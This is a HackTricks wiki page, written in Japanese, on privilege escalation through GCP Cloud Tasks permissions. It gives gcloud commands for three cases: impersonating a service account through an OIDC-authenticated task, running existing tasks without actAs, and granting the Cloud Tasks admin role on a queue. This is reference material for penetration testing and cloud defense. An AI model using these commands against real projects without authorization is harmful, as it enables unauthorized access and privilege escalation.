# GCP - Cloud Tasks Privesc

{{#include ../../../banners/hacktricks-training.md}}

## Cloud Tasks

### `cloudtasks.tasks.create`, `iam.serviceAccounts.actAs`

これらの権限を持つ攻撃者は、指定した service account の ID で実行されるタスクを作成することで、他の service account をなりすますことができます。これにより、IAM で保護された Cloud Run や Cloud Functions サービスへ認証済みの HTTP リクエストを送信できます。

<details><summary>Create Cloud Task with service account impersonation</summary>
```bash
gcloud tasks create-http-task \
task-$(date '+%Y%m%d%H%M%S') \
--location us-central1 \
--queue <queue_name> \
--url 'https://<service_name>.us-central1.run.app' \
--method POST \
--header 'X-Hello: world' \
--body-content '{"hello":"world"}' \
--oidc-service-account-email <account>@<project_id>.iam.gserviceaccount.com
```
</details>

### `cloudtasks.tasks.run`, `cloudtasks.tasks.list`

これらの権限を持つ攻撃者は、タスクに関連付けられたサービスアカウントの権限がなくても、**既存のスケジュール済みタスクを実行**できます。これにより、より高い権限を持つサービスアカウントで以前に作成されたタスクを実行することが可能になります。

<details><summary>actAs permissionなしで既存の Cloud Task を実行</summary>
```bash
gcloud tasks run projects/<project_id>/locations/us-central1/queues/<queue_name>/tasks/<task_id>
```
</details>

このコマンドを実行するプリンシパルは、タスクのサービスアカウントに対して **`iam.serviceAccounts.actAs` 権限を持つ必要はありません**。ただし、これは既存のタスクを実行できるだけで、新しいタスクの作成や既存タスクの変更権限は付与されません。

### `cloudtasks.queues.setIamPolicy`

この権限を持つ攻撃者は、特定のキューに対して**自分自身や他のプリンシパルに Cloud Tasks のロールを付与する**ことができ、最終的にタスクの作成・実行が可能な `roles/cloudtasks.admin` にエスカレーションする可能性があります。

<details><summary>キューに Cloud Tasks admin ロールを付与する</summary>
```bash
gcloud tasks queues add-iam-policy-binding \
<queue_name> \
--location us-central1 \
--member serviceAccount:<account>@<project_id>.iam.gserviceaccount.com \
--role roles/cloudtasks.admin
```
</details>

これにより攻撃者は、制御する任意のサービスアカウントに対して、そのキューに対する Cloud Tasks のフル管理者権限を付与できます。

## 参考資料

- [Google Cloud Tasks Documentation](https://cloud.google.com/tasks/docs)

{{#include ../../../banners/hacktricks-training.md}}
